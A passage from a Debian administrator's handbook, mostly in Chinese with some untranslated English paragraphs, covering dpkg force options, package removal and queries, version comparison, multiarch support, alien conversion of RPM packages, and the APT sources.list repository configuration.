Preparing to unpack man-db_2.9.4-2_amd64.deb ...

Unpacking man-db (2.9.4-2) over (2.9.4-2) ...

Processing triggers for mailcap (3.69) ...

# dpkg --configure man-db

Setting up man-db (2.9.4-2) ...

Updating database of manual pages ...

man-db.service is a disabled or a static unit not running, not starting it.

有时 dpkg 在安装软件包的时候会失败并且返回一个错误信息；如果用户命令 dpkg 忽略掉这个错误，那么它仅仅会发出一个警告；就是这个原因使我们有不同的 --force--* 选项。dpkg --force-help 命令，或者这个命令的文档，将给出这些选项的完整列表。早晚会遇到的最常见的错误，是文件冲突。当软件包包含一个由其它软件包已经安装的文件时，dpkg 会拒绝安装。然后出现后面的消息：

Unpacking libgdm (from .../libgdm_3.8.3-2_amd64.deb) ...

dpkg: 处理 /var/cache/apt/archives/libgdm_3.8.3-2_amd64.deb (--unpack) 时发生错误:

试图覆写 '/usr/bin/gdmflexiserver'，也同时在软件包 gdm3 3.4.1-9 内

在这种情况下，如果你认为文件替换该文件可能不会对系统的稳定性造成重大的风险（通常情况下），你可以使用--force-overwrite选项来告诉dpkg去忽略这个错误并且覆盖该文件。

While there are many available --force-* options, only --force-overwrite is likely to be used regularly. These options only exist for exceptional situations, rarely encountered in Debian Stable. It is better to leave them alone as much as possible in order to respect the rules imposed by the packaging mechanism. Do not forget, these rules ensure the consistency and stability of your system.

注意 使用--force-*的影响

若不小心使用 --force-* 的选项，可能造成 APT 命令家族拒绝运作的困境。在相依性不足或冲突的情况下，使用部分选项后，仍可安装该等软件包。结果就是相依性不足的不一致系统，APT 命令将拒绝运行任何工作，直到系统恢复一致 (通常包括安装遗失的相依软件包或移除问题软件包)。通常出现以下的消息，安装新版 rdesktop 时忽略其对新版 libc6 的相依性：

# apt full-upgrade

[...]

You might want to run 'apt-get -f install' to correct these.

The following packages have unmet dependencies:

rdesktop: Depends: libc6 (>= 2.5) but 2.3.6.ds1-13etch7 is installed

E: Unmet dependencies. Try using -f.

确信其分析结果的勇敢管理者，可能选择忽略使用 --force-* 选项时发生的相依性问题与冲突。结果是，想要继续使用 apt 或 aptitude 的话，他们必须先编辑 /var/lib/dpkg/status 以删除/修改相依性问题或冲突。

这是一种丑陋的黑客行为，除了在极为必要的情况，否则不该使用。非常常见的，更合适的解决方案是重新编译产生问题的软件包（请参见 第 15.1 节 “从源码重新构建安装包”），或使用来自如 stable-backports 那样的仓库中的新版本（可能已修复该问题）的软件包（请参见 第 6.1.2.4 节 “稳定版向后移植”）。

5.4.2. 软件包移除

使用 dpkg 加上 -r 或 --remove 选项，再加上软件包名称，就可移除该软件包。然而，这种方式的移除并不完整：仍保留了所有的配置文件、维护脚本、日志文件（系统日志）及由软件包而处理的其他用户数据。停用程序的方式是卸载它，并且仍可以用相同的配置快速地重新安装回来。要完全移除与软件包相关的所有内容，应使用 -P 或 --purge 选项，再加上软件包的名称。

例 5.4. 移除与清除 debian-cd 软件包

# dpkg -r debian-cd

(Reading database ... 228705 files and directories currently installed.)

Removing debian-cd (3.1.35) ...

# dpkg -P debian-cd

(Reading database ... 228049 files and directories currently installed.)

Purging configuration files for debian-cd (3.1.35) ...

5.4.3. 查询 dpkg 的数据库，并检查 .deb 文件

回到基础 选项的语法

“长” 版 (一个或多个字，前置两个链接号) 与 “短” 版 (一个字母，通常是长版字的第一个字母，前置一个链接号) 软件包都有该等选项。这是 POSIX 标准常见的用法。

在结束本节之前，我们将讨论查询内部数据库来获取信息的 dpkg 选项。首先给出长选项，然后是相应的短选项（显然它们的可能参数相同），我们有

- --listfiles package（或 -L），它列出这个软件包安装的所有文件；

- --search file（或 -S），它找出包含特定文件的软件包；

- --status package（或 -s），它展示一个已安装的软件包的头（文件）；

- --list（或 -l），它列出系统已知的软件包及其安装情况；

- --contents file.deb（或 -c），它列出给定 Debian 软件包内的文件；

- --info file.deb （或 -I），它展示该 Debian 软件包的头（文件）。

警告 dpkg --search 和 /usr 合并问题

由于各种原因，Debian现在默认将一些顶层文件夹作为符号链接安装到/usr下面的相应位置。例如，/bin、/sbin和/lib现在是/usr/bin、/usr/sbin和/usr/lib各自的符号链接。

这提供了所需的优点，但也会导致混淆。例如，当查询dpkg时，这个软件包拥有一个给定文件，当你查询其原始路径时，他只能回答：

$ dpkg --search /bin/mount

mount: /bin/mount

$ dpkg --search /usr/bin/mount

dpkg-query: no path found matching pattern /usr/bin/mount

$ dpkg --search /bin/apt

dpkg-query: no path found matching pattern /bin/apt

$ dpkg --search /usr/bin/apt

apt: /usr/bin/apt

此问题目前被跟踪为 bug #858331。关于目前的使用方法是否降低效率，目前有一场讨论。

→ https://bugs.debian.org/858331

例 5.5. dpkg的各种查询

$ dpkg -L base-passwd

/.

/usr

/usr/sbin

/usr/sbin/update-passwd

/usr/share

/usr/share/base-passwd

/usr/share/base-passwd/group.master

/usr/share/base-passwd/passwd.master

/usr/share/doc

/usr/share/doc/base-passwd

/usr/share/doc/base-passwd/README

/usr/share/doc/base-passwd/changelog.gz

/usr/share/doc/base-passwd/copyright

/usr/share/doc/base-passwd/users-and-groups.html

/usr/share/doc/base-passwd/users-and-groups.txt.gz

/usr/share/doc-base

/usr/share/doc-base/users-and-groups

/usr/share/lintian

/usr/share/lintian/overrides

/usr/share/lintian/overrides/base-passwd

/usr/share/man

/usr/share/man/de

/usr/share/man/de/man8

/usr/share/man/de/man8/update-passwd.8.gz

/usr/share/man/es

/usr/share/man/es/man8

/usr/share/man/es/man8/update-passwd.8.gz

/usr/share/man/fr

/usr/share/man/fr/man8

/usr/share/man/fr/man8/update-passwd.8.gz

/usr/share/man/ja

/usr/share/man/ja/man8

/usr/share/man/ja/man8/update-passwd.8.gz

/usr/share/man/man8

/usr/share/man/man8/update-passwd.8.gz

/usr/share/man/pl

/usr/share/man/pl/man8

/usr/share/man/pl/man8/update-passwd.8.gz

/usr/share/man/ru

/usr/share/man/ru/man8

/usr/share/man/ru/man8/update-passwd.8.gz

$ dpkg -S /bin/date

coreutils: /bin/date

$ dpkg -s coreutils

Package: coreutils

Essential: yes

Status: install ok installed

Priority: required

Section: utils

Installed-Size: 17478

Maintainer: Michael Stone <mstone@debian.org>

Architecture: amd64

Multi-Arch: foreign

Source: coreutils (8.32-4)

Version: 8.32-4+b1

Pre-Depends: libacl1 (>= 2.2.23), libattr1 (>= 1:2.4.44), libc6 (>= 2.28), libgmp10, libselinux1 (>= 3.1~)

Description: GNU core utilities

This package contains the basic file, shell and text manipulation

utilities which are expected to exist on every operating system.

.

Specifically, this package includes:

arch base64 basename cat chcon chgrp chmod chown chroot cksum comm cp

csplit cut date dd df dir dircolors dirname du echo env expand expr

factor false flock fmt fold groups head hostid id install join link ln

logname ls md5sum mkdir mkfifo mknod mktemp mv nice nl nohup nproc numfmt

od paste pathchk pinky pr printenv printf ptx pwd readlink realpath rm

rmdir runcon sha*sum seq shred sleep sort split stat stty sum sync tac

tail tee test timeout touch tr true truncate tsort tty uname unexpand

uniq unlink users vdir wc who whoami yes

Homepage: http://gnu.org/software/coreutils

$ dpkg -l 'b*'

Desired=Unknown/Install/Remove/Purge/Hold

| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend

|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)

||/ Name                       Version       Architecture Description

+++-==========================-==============-============-==================================

un  backupninja                <none>         <none>       (no description available)

un  backuppc                   <none>         <none>       (no description available)

ii  baloo-kf5                  5.78.0-3       amd64        framework for searching and manag>

un  balsa                      <none>         <none>       (no description available)

ii  baobab                     3.38.0-1       amd64        GNOME disk usage analyzer

un  base                       <none>         <none>       (no description available)

un  base-config                <none>         <none>       (no description available)

ii  base-files                 11.1           amd64        Debian base system miscellaneous >

ii  base-passwd                3.5.51         amd64        Debian base system master passwor>

ii  bash                       5.1-2+b1       amd64        GNU Bourne Again SHell

[..]

$ dpkg -c /var/cache/apt/archives/bash_5.1-3+b1_amd64.deb

drwxr-xr-x root/root         0 2021-07-25 20:43 ./

drwxr-xr-x root/root         0 2021-07-25 20:43 ./bin/

-rwxr-xr-x root/root   1234376 2021-07-25 20:43 ./bin/bash

drwxr-xr-x root/root         0 2021-07-25 20:43 ./etc/

-rw-r--r-- root/root      1994 2021-07-25 20:43 ./etc/bash.bashrc

drwxr-xr-x root/root         0 2021-07-25 20:43 ./etc/skel/

-rw-r--r-- root/root       220 2021-07-25 20:43 ./etc/skel/.bash_logout

-rw-r--r-- root/root      3526 2021-07-25 20:43 ./etc/skel/.bashrc

-rw-r--r-- root/root       807 2021-07-25 20:43 ./etc/skel/.profile

drwxr-xr-x root/root         0 2021-07-25 20:43 ./usr/

drwxr-xr-x root/root         0 2021-07-25 20:43 ./usr/bin/

-rwxr-xr-x root/root      6759 2021-07-25 20:43 ./usr/bin/bashbug

-rwxr-xr-x root/root     14648 2021-07-25 20:43 ./usr/bin/clear_console

drwxr-xr-x root/root         0 2021-07-25 20:43 ./usr/share/

drwxr-xr-x root/root         0 2021-07-25 20:43 ./usr/share/doc/

[..]

$ dpkg -I /var/cache/apt/archives/bash_5.1-3+b1_amd64.deb

new Debian package, version 2.0.

size 1416600 bytes: control archive=7256 bytes.

77 bytes,     4 lines      conffiles

1030 bytes,    27 lines      control

4511 bytes,    64 lines      md5sums

603 bytes,    31 lines   *  postinst             #!/bin/bash

500 bytes,    25 lines   *  postrm               #!/bin/sh

14536 bytes,    33 lines   *  preinst

289 bytes,    22 lines   *  prerm                #!/bin/bash

Package: bash

Source: bash (5.1-3)

Version: 5.1-3+b1

Architecture: amd64

Essential: yes

Maintainer: Matthias Klose <doko@debian.org>

Installed-Size: 6470

Pre-Depends: libc6 (>= 2.25), libtinfo6 (>= 6)

Depends: base-files (>= 2.1.12), debianutils (>= 2.15)

Recommends: bash-completion (>= 20060301-0)

Suggests: bash-doc

Conflicts: bash-completion (<< 20060301-0)

Replaces: bash-completion (<< 20060301-0), bash-doc (<= 2.05-1)

Section: shells

Priority: required

Multi-Arch: foreign

Homepage: http://tiswww.case.edu/php/chet/bash/bashtop.html

Description: GNU Bourne Again SHell

Bash is an sh-compatible command language interpreter that executes

commands read from the standard input or from a file.  Bash also

incorporates useful features from the Korn and C shells (ksh and csh).

.

Bash is ultimately intended to be a conformant implementation of the

IEEE POSIX Shell and Tools specification (IEEE Working Group 1003.2).

.

The Programmable Completion Code, by Ian Macdonald, is now found in

the bash-completion package.

更进一步 版本的对比

因为 dpkg 是处理 Debian 软件包的程序，它也能够逻辑地比较版本编号。所以有 --compare-versions 选项，以外部程序使用它 (尤其是被 dpkg 本身运行的配置脚本)。这个选项需要三个参数：版本编号、比较操作数、以及第二个版本编号。可能的操作数为 lt (小于)、le (大于或等于)、eq (等于)、ne (不等于)、ge (大于或等于)、以及 gt (大于)。若比较结果正确，dpkg 送回 0 (成功)；若不正确，则送回 0 以外的数值 (表示失败)。

$ dpkg --compare-versions 1.2-3 gt 1.1-4

$ echo $?

0

$ dpkg --compare-versions 1.2-3 lt 1.1-4

$ echo $?

1

$ dpkg --compare-versions 2.6.0pre3-1 lt 2.6.0-1

$ echo $?

1

注意前例最后一个比较的失败：dpkg、pre，表示为预发布版，没有特别的意义，此程序以比较数字版本 (a < b < c ...) 相同的方式比较字顺版本。所以，“0pre3” 大于 “0”。我们以毛毛虫 “~” 表示该软件包的预发布版：

$ dpkg --compare-versions 2.6.0~pre3-1 lt 2.6.0-1

$ echo $?

0

5.4.4. dpkg的日志文件

dpkg 把所有的交易记录存在名为 /var/log/dpkg.log 的日志档。这个日志档的内容颇为详尽且啰唆，记录软件包被 dpkg 处理的每个进程。追踪 dpkg 的每个作为之外，日志档还保留系统发展的记录：可以覆查每个软件包的安装与移除步骤，对于了解最近的变动极有帮助。此外，还记录所有的版本，可以交互检查 changelog.Debian.gz 的内容，查看有问题的软件包或在线的错误报告。

5.4.5. 多架构支持

所有的 Debian 包在它们的管控信息中都有一个架构 字段。该字段可包含：“全部“（对与架构无关的包），或者它的目标架构名称（如“amd64”， “armhf”，…）。对于后者，默认情况下，dpkg将只能接受安装与主机架构匹配的软件包，主机架构可通过dpkg --print-architecture来获得。

该限制确保用户不会因为错误架构编译的二进制文件而挂掉。一切都很完美，除了（某些）计算机可以运行多架构的二进制文件，或者以本地方式（“amd64“系统可运行”i386“二进制文件）运行，或者以模拟器运行。

5.4.5.1. 启用多架构

dpkg的多架构支持允许用户定义可安装于当前系统的“异质架构” 。这可以方便的通过 dpkg --add-architecture完成，如下例。有一相应的 dpkg --remove-architecture 以放弃对异质架构的支持，但仅可用于未余留该架构软件包的情况。

# dpkg --print-architecture

amd64

# dpkg --print-foreign-architectures

# dpkg -i gcc-9-base_9.3.0-22_armhf.deb

dpkg: error processing archive gcc-9-base_9.3.0-22_armhf.deb (--install):

package architecture (armhf) does not match system (amd64)

Errors were encountered while processing:

gcc-9-base_9.3.0-22_armhf.deb

# dpkg --add-architecture armhf

# dpkg --add-architecture armel

# dpkg --print-foreign-architectures

armhf

armel

# dpkg -i gcc-9-base_9.3.0-22_armhf.deb

(Reading database ... 456367 files and directories currently installed.)

Preparing to unpack gcc-9-base_9.3.0-22_armhf.deb ...

Unpacking gcc-9-base:armhf (9.3.0-22) ...

Setting up gcc-9-base:armhf (9.3.0-22) ...

# dpkg --remove-architecture armhf

dpkg: error: cannot remove architecture 'armhf' currently in use by the database

# dpkg --remove-architecture armel

# dpkg --print-foreign-architectures

armhf

备注 APT 的多架构支持

当已经配置 dpkg 来支持异质架构时，APT将会自动检测，并在更新过程中开始下载相应的 Package（软件包）文件。

异质软件包可通过 apt install 软件包: 架构安装。

实例 在 amd64 架构上使用专有 i386 二进制文件

对于多架构有多个用例，但最常见的是在 64 位系统上（amd64）上执行（有时是专有的） 32 位二进制文件（i386）的可能性，以及对与托管的主机不同的平台或架构来交叉编译软件的可能性。

5.4.5.2. 多架构相关的变更

要让多架构真正实用和可用，库文件必须要重新打包，并移动到于特定架构的目录中，以便可以并存安装多个副本（针对不同架构）。这样的更新软件包中包含“Multi-Arch: same”标头字段，以告诉打包系统此软件包的不同架构可以安全地并存安装（而且这些软件包仅能满足相同架构的软件包的依赖）。自从 Debian 7 Wheezy 引入多重架构后，最重要的库已经转换了。但也有很多库恐怕永远不会被转换，除非有人特别请求（例如通过缺陷报告）。

$ dpkg -s gcc-9-base

dpkg-query: error: --status needs a valid package name but 'gcc-9-base' is not: ambiguous package name 'gcc-9-base' with more than one installed instance

Use --help for help about querying packages.

$ dpkg -s gcc-9-base:amd64 gcc-9-base:armhf | grep ^Multi

Multi-Arch: same

Multi-Arch: same

$ dpkg -L libgcc-s1:amd64 |grep .so

/lib/x86_64-linux-gnu/libgcc_s.so.1

$ dpkg -S /usr/share/doc/gcc-9-base/copyright

gcc-9-base:amd64, gcc-9-base:armhf: /usr/share/doc/gcc-9-base/copyright

值得注意的是，Multi-Arch: same软件包需具备能够明晰识别架构的名称。它们也能够与相同包的其他实例共享文件；dpkg确保所有的包在共享时具有逐位对应识别的文件。最后但并非最不重要的，一个包的所有实例必须为相同版本。它们必须同时升级。

多架构支持也带来了在依赖处理方式上的一些有趣的挑战。要满足依赖，需要：或者有Multi-Arch: foreign标识的软件包，或者架构上能匹配已声明依赖的软件包（在该依赖方案处理中，架构无关包假定为同样架构，而非主机架构）。通过 软件包 :any语法，依赖可以被弱化，以便允许任意架构能够满足依赖，但异质软件包仅能满足如下依赖：有“ Multi-Arch: allowed ”标识的依赖。

5.5. 与其它软件包共存

Debian 包格式并非唯一用于自由软件领域的软件包格式。主要竞争者是红帽 Linux 发行版的 RPM 格式以及其衍生格式。红帽是一个非常流行的商业化发行版。对于来自第三方的软件，常以 RPM 格式软件包提供，而非 Debian 格式。

这个情况下，你应该知道rpm程序是如何处理RPM软件包的，这种格式在Debian软件包中也可用。需要谨慎的使用，尽管如何，这些操作会限制从一个软件包中解压并且提取出信息以验证其完整性。实际上，不应该在Debian系统中使用rpm来安装一个RPM软件包；RPM使用了它自己的数据库以便和Debian的软件中分离（比如dpkg）。这也就是为什么不可能确保两个包管理系统共存在一个系统中，而这个系统还能保持稳定。

另一方面，alien 可以把RPM软件包转换成Debian软件包，反之亦然。

社区 鼓励.deb的使用

If you regularly use the alien program to install RPM packages coming from one of your providers, do not hesitate to write to them and amicably express your strong preference for the .deb format. Note that the format of the package is not everything: a .deb package built with alien or prepared for a version of Debian different than that which you use, or even for a derivative distribution like Ubuntu, would probably not offer the same level of quality and integration as a package specifically developed for Debian Bullseye.

$ fakeroot alien --to-deb phpMyAdmin-5.1.1-2.fc35.noarch.rpm

[..]

Warning: Skipping conversion of scripts in package phpMyAdmin: postinst

Warning: Use the --scripts parameter to include the scripts.

[..]

phpmyadmin_5.1.1-3_all.deb generated

$ ls -sh phpmyadmin_5.1.1-3_all.deb

6,0M phpmyadmin_5.1.1-3_all.deb

$ dpkg -c phpmyadmin_5.1.1-3_all.deb

drwxr-xr-x root/root         0 2021-08-09 02:02 ./

drwxr-xr-x root/root         0 2021-08-09 02:02 ./etc/

drwxr-xr-x root/root         0 2021-08-09 02:02 ./etc/httpd/

drwxr-xr-x root/root         0 2021-08-09 02:02 ./etc/httpd/conf.d/

-rw-r--r-- root/root      1181 2021-07-27 09:32 ./etc/httpd/conf.d/phpMyAdmin.conf

drwxr-xr-x root/root         0 2021-08-09 02:02 ./etc/nginx/

drwxr-xr-x root/root         0 2021-08-09 02:02 ./etc/nginx/default.d/

-rw-r--r-- root/root       430 2021-07-27 09:32 ./etc/nginx/default.d/phpMyAdmin.conf

drwxr-x--- root/root         0 2021-08-09 02:02 ./etc/phpMyAdmin/

-rw-r----- root/root      4546 2021-07-27 09:34 ./etc/phpMyAdmin/config.inc.php

drwxr-xr-x root/root         0 2021-08-09 02:02 ./usr/

drwxr-xr-x root/root         0 2021-08-09 02:02 ./usr/share/

drwxr-xr-x root/root         0 2021-08-09 02:02 ./usr/share/doc/

drwxr-xr-x root/root         0 2021-08-09 02:02 ./usr/share/doc/phpMyAdmin/

[..]

$ dpkg -I phpmyadmin_5.1.1-3_all.deb

new Debian package, version 2.0.

size 6195324 bytes: control archive=44444 bytes.

102 bytes,     3 lines      conffiles

593 bytes,    15 lines      control

180405 bytes,  1919 lines      md5sums

448 bytes,    11 lines   *  postinst             #!/bin/sh

Package: phpmyadmin

Version: 5.1.1-3

Architecture: all

Maintainer: Daniel Leidert <dleidert@debian.org>

Installed-Size: 40693

Section: alien

Priority: extra

Description: A web interface for MySQL and MariaDB

phpMyAdmin is a tool written in PHP intended to handle the administration of

MySQL over the Web. Currently it can create and drop databases,

create/drop/alter tables, delete/edit/add fields, execute any SQL statement,

manage keys on fields, manage privileges,export data into various formats and

is available in 50 languages

.

(Converted from a rpm package by alien version 8.95.4.)

此例极为简单。然而，您必须知道不需任何相依性信息就能产生软件包，两种软件包格式并不必然有系统性的关系。管理者必须以手动方式确保转换过的软件包能够正确运作，这就是 Debian 产生的软件包能够避免此种可能。幸运的是，Debian 拥有软件软件包各种版本的数据库，想要的都能找到。

翻看alien命令的帮助页面，您会注意到该程序也可处理其他的包格式，特别是使用 Slackware 发行版所用的格式（它使用简单的tar.gz归档格式）。

dpkg作为一个稳定的工具有助于提高Debian的名字。APT软件包工具，在下面的章节中会告诉我们，它不但保留了这一优势，同时减轻了管理员管理软件包这一必须但是艰难得任务的负担。

第 6 章 维护和更新：APT 工具

Debian 之所以如此受系统管理员欢迎，是因为软件极易安装且整个系统的更新也极为简单。这一独特的优点主要得归功于 Falcot 公司系统管理员们热情研究的 APT 程序。

APT is the abbreviation for Advanced Packaging Tool. What makes this program “advanced” is its approach to packages. It doesn't simply evaluate them individually, but it considers them as a whole and produces the best possible combination of packages depending on what is available and compatible according to dependencies.

关键词 软件源和源码包

源这个词可能会引起歧义。一个“源码包” — 是指一个包含有源程序代码的包，不要和“软件源”相混淆 — 这是指一个包所在的仓库（网站，FTP服务器，CD-ROM 光驱，本地磁盘等等）。

APT 需要指定一个“软件源（仓库）列表”：文件 /etc/apt/sources.list 会列出发布 Debian 软件包的不同仓库。接下来 APT 会从每一个软件源导入所发布的软件包列表。在二进制包的场景下，这个过程是通过下载 Packages.xz 文件或其它使用不同压缩方式的文件（比如 Packages.gz 或者 .bz2），并分析它们的内容来完成。在源码包的场景下，APT 下载 Sources.xz 文件或其它使用了不同压缩方式的文件。当这些文件的旧版本已经存在的时候，APT 仅下载更新的部分（见补充说明 提示 增量更新）。

基础知识 gzip、bzip2、LZMA 和 XZ 压缩

文件名后缀 .gz 表示文件经过 gzip 工具的压缩。gzip 是一个快速且高效的经典 Unix 文件压缩工具。一些新的工具压缩比更好，但耗费更多的内存和时间来完成压缩和解压。按照出现的次序，这些工具有：bzip2 （生成文件名后缀为 .bz2），lzma（生成文件名后缀为 .lzma）和 xz（生成文件名后缀为 .xz）。

6.1. 编写 sources.list 文件

6.1.1. 语法

/etc/apt/sources.list 文件里处于激活状态每一行都代表一个软件包源（仓库），并且至少由空格分隔的三个部分组成。详细的文件格式和允许的条目组成参见 sources.list(5)。

例 6.1. /etc/apt/sources.list 的格式样例

deb url distribution component1 component2 component3 [..] componentX

deb-src url distribution component1 component2 component3 [..] componentX

第一个字段标识源的类型：

deb

二进制软件包的软件包源（仓库）

deb-src

源代码软件包的软件包源（仓库）

The second field gives the base URL of the source. Combined with the filenames listed in the Packages.xz files, it must give a full and valid URL. This can consist in a Debian mirror or in any other package archive set up by a third party. The URL can start with file:// to indicate a local source installed in the system's file hierarchy, with http:// or https:// to indicate a source accessible from a web server, or with ftp:// or ftps:// for a source available on an FTP server. The URL can also start with cdrom: for CD-ROM/DVD/Blu-ray disc based installations, although this is less frequent, since network-based installation methods are eventually more common. More methods like ssh:// or tor+http(s):// are supported and are either described in sources.list(5) or their respective apt-transport-method package documentation.

The syntax of the last field depends on the structure of the repository. In the simplest case, you can simply indicate a subdirectory (with a required trailing slash) of the desired source. This is often a simple “./” which refers to the absence of a subdirectory. The packages are then directly at the specified URL. But in the most common case, the repositories will be structured like a Debian mirror, with multiple distributions, each having multiple components. In those cases, name the chosen distribution by its “codename” — see the list in sidebar 社区 Bruce Perens，一位有争议的领导者 — or by the corresponding “suite” (oldoldstable, oldstable, stable, testing, unstable) and then the components to enable. A typical Debian mirror provides the components main, contrib, and non-free.

关键词 main、contrib、non-free归档

Debian uses three components to differentiate packages according to the licenses chosen by the authors of each work. Main gathers all packages which fully comply with the Debian Free Software Guidelines.

non-free 组件则有所不同，它包括没有完全遵循上述原则，未受约束但仍然被发布的软件。这些不算是 Debian 官方的软件，服务于那些需要某些特殊应用及罕见硬件固件的用户。不过 Debian 向来都提倡优先使用自由软件的。这个组件的存在也应证了来自理查德·斯托曼 (Richard M. Stallman) 的值得深思的问题，使得自由软件基金会不向用户推荐 Debian。

Contrib 是一类依赖一些非自由软件就才能正常运作的开源软件。这类软件是来自非自由的 non-free 部分的软件，或是非自由文件如游戏 ROMs、控制台的BIOS文件等等，或是在 Debian main 归档中完全不存在的软件。contrib 也包括那些需要私有软件来编译的自由软件。早先的例子就是 OpenOffice.org 办公软件套装，曾经需要带专利的 Java 环境来运行。

技巧 /etc/apt/sources.list.d/*.list 文件

如果用了很多个软件包源，可以将它们分成多个文件。每一部分写在 /etc/apt/sources.list.d/filename.list 中（参见补充说明 基础知识 结尾是 .d 的文件夹名称 )。

cdrom 条目表示 CD、DVD 光盘。 跟其他条目不同，CD 光盘需要插入光驱中，并且每次只能读一张，所以并不总是可用。因此这种仓库管理起来稍有不同，需要用到 apt-cdrom 程序，经常与 add 参数一起执行。它会要求光驱中插入光盘，然后会浏览内容，寻找 Packages 文件。这些文件会用于更新可用软件包数据库（此过程由 apt update 命令完成）。自此，如果某些软件包需要光盘，APT 可发出插入光驱的要求。

6.1.2. 给稳定版使用者的仓库

下面是标准的稳定版 Debian sources.list 文件：

例 6.2. 给 Debian 稳定版用户的 /etc/apt/sources.list 文件

# Security updates

deb http://security.debian.org/ bullseye-security main contrib non-free

deb-src http://security.debian.org/ bullseye-security main contrib non-free

## Debian mirror

# Base repository

deb https://deb.debian.org/debian bullseye main contrib non-free

deb-src https://deb.debian.org/debian bullseye main contrib non-free

# Stable updates

deb https://deb.debian.org/debian bullseye-updates main contrib non-free

deb-src https://deb.debian.org/debian bullseye-updates main contrib non-free

# Stable backports

deb https://deb.debian.org/debian bullseye-backports main contrib non-free

deb-src https://deb.debian.org/debian bullseye-backports main contrib non-free

此文件列出了与 Debian Bullseye 版本相关软件包的所有来源（此手册编写时的稳定版）。我们不希望当下一个稳定版本发布时，出现不在我们控制下的潜在版本变化，因此在上面的示例中，我们明确的使用 “Bullseye” 而不是用对应的 “stable” 别名( stable、stable-updates、stable-backports )。

Most packages will come from the “base repository”, which contains all packages but is seldom updated (about once every 2 months for a “point release”). The other repositories are partial (they do not contain all packages) and can host updates (packages with newer version) that APT might install. The following sections will explain the purpose and the rules governing each of those repositories.

请注意，当你所需要的软件包版本同时存在于几个仓库中时，在文件 sources.list 中所列出的第一个会被使用。因此，非官方的软件源一般建议加在文件的末尾处。

补充一点，本节中提到内容不仅适用于 Stable 版本，对于 Oldstable 一样适用。后者只是同时在维护的更老旧的 Stable 版本。

6.1.2.1. 安全更新

Debian 非常重视安全。已知的 Debian 软件漏洞会在 Security Bug Tracker 进行跟踪，而且通常会在合理时限内被修复。安全更新的内容通常不在 Debian 镜像站内，而是在 security.debian.org（由 Debian 系统管理员们维护的小范围机器上）。上面的内容包括了那些由为 Debian 安全团队及软件包维护者提供给 稳定版 和 旧的稳定版 的安全更新。

The server can also host security updates for Testing but this doesn't happen very often since those updates tend to reach that suite via the regular flow of updates coming from Unstable.

对于严重的问题，安全团队会发布 Debian 安全通告(DSA)，并且在 <debian-security-announce@lists.debian.org> 邮件列表（邮件归档）随着安全更新一起公告。

6.1.2.2. 稳定版更新

稳定版更新对安全性不敏感，在下一个稳定版本点发布前，它还是很重要，需要推送给使用者。

这个仓库通常包括修正补丁，用于修复在发布前无法修复的严重漏洞和后续更新引入的漏洞。根据紧急性，它还包含长期的软件包更新，比如 spamassassin 的垃圾邮件检测规则，clamav 病毒库，各个时区的夏令时规则 (tzdata)，Firefox 的延长支持ESR版 (firefox-esr)，或是类似 debian-archive-keyring 这种加密密钥。

实际上，这个仓库是由稳定版发布管理员从 proposed-updates 仓库中精心挑选的子集。所有更新都会在 <debian-stable-announce@lists.debian.org> 邮件列表 (archive) 上公布，并且无论如何都会包含在下一个稳定版的小版本更新中。

6.1.2.3. 计划更新

一旦发布，稳定版只会每两个月更新一次。接下来的更新在计划更新仓库里准备（由稳定版发布管理员监督）。

这个仓库不仅包含上一章节提到的安全更新和稳定更新的文件，还有更多内容，因为软件包维护者可能在这里修复一些不需要马上发布的重要漏洞。

任何人都可以使用这个仓库在正式发布前来检测更新。下面的摘录使用 bullseye-proposed-updates 别名。因为 buster-proposed-updates 也存在，别名的使用更清楚更一致（对于 旧的稳定版 更新来讲）：

deb https://deb.debian.org/debian bullseye-proposed-updates main contrib non-free

6.1.2.4. 稳定版向后移植

stable-backports 仓库存放“软件包的向后移植版本”。该术语指的是一些近期发布的软件针对旧的发行版重新编译的包，这里所指的旧发行版通常是指稳定版(Stable)。

当发行版本经过一段时间后，大量的软件项目都发布了新的软件版本，但它们都没有整合进入当前的稳定版（它仅接受那些解决最重要问题的修改，例如安全更新）。因为测试版和不稳定版均具有一定风险，软件包维护者有时会针对稳定版提供近期发布的软件的重新编译版本，这样做可以将潜在的不稳定因素限制在一小部分经过筛选的软件包之间，因而具有一定的优势。http://backports.debian.org 这个页面提供了更多信息。

stable-backports 里面的软件向后移植版本通常是源自于不稳定版的。这样能确保一旦下一个稳定的 Debian 版本可用，所有安装的向后移植版本软件都可以升级到相应的稳定版本。

尽管该仓库提供软件包较新的版本，APT 也只会在给出明确指令的情况下安装它们（或者你之前已经安装了对应软件的上一个向后移植版本）：

$ sudo apt-get install package/bullseye-backports

$ sudo apt-get install -t bullseye-backports package

6.1.3. 给测试版、不稳定版用户的仓库

下面是一个标准 sources.list 文件，用于测试版或不稳定版：

例 6.3. Debian 测试版、不稳定版用户的 /etc/apt/sources.list 文件

# Unstable

deb https://deb.debian.org/debian unstable main contrib non-free

deb-src https://deb.debian.org/debian unstable main contrib non-free

# Testing

deb https://deb.debian.org/debian testing main contrib non-free

deb-src https://deb.debian.org/debian testing main contrib non-free

# Testing security updates

deb http://security.debian.org/ testing-security main contrib non-free

deb-src http://security.debian.org/ testing-security main contrib non-free

# Stable

deb https://deb.debian.org/debian stable main contrib non-free

deb-src https://deb.debian.org/debian stable main contrib non-free

# Stable security updates

deb http://security.debian.org/ stable-security main contrib non-free

deb-src http://security.debian.org/ stable-security main contrib non-free

注解 安全仓库的目录排列

Starting with Debian 11 Bullseye, the codename of the repository providing security updates has been renamed from codename/updates into codename-security to avoid the confusion with codename-updates (see 第 6.1.2.2 节 “稳定版更新”).

→ https://www.debian.org/releases/bullseye/amd64/release-notes/ch-information.en.html#security-archive

用上面的 sources.list 文件，APT 将安装软件包的不稳定版。如果这不是你所期望的，可以用 APT::Default-Release 设置（参见 第 6.2.3 节 “系统升级”）来指明 APT 从另外的版本获取软件包（这个例子中多数会使用测试版）。

There are good reasons to include all those repositories, even though a single one should be enough. Testing users will appreciate the possibility to cherry-pick a fixed package from Unstable when the version in Testing is affected by an annoying bug. On the other hand, Unstable users bitten by unexpected regressions have the possibility to downgrade packages to their (supposedly working) Testing version.

稳定版的内容比较有争议，但它也常常保留了某些不再开发的软件包版本。同时也确保你能获取到尚未修改的最新软件包的更新包。

6.1.3.1. 实验性仓库

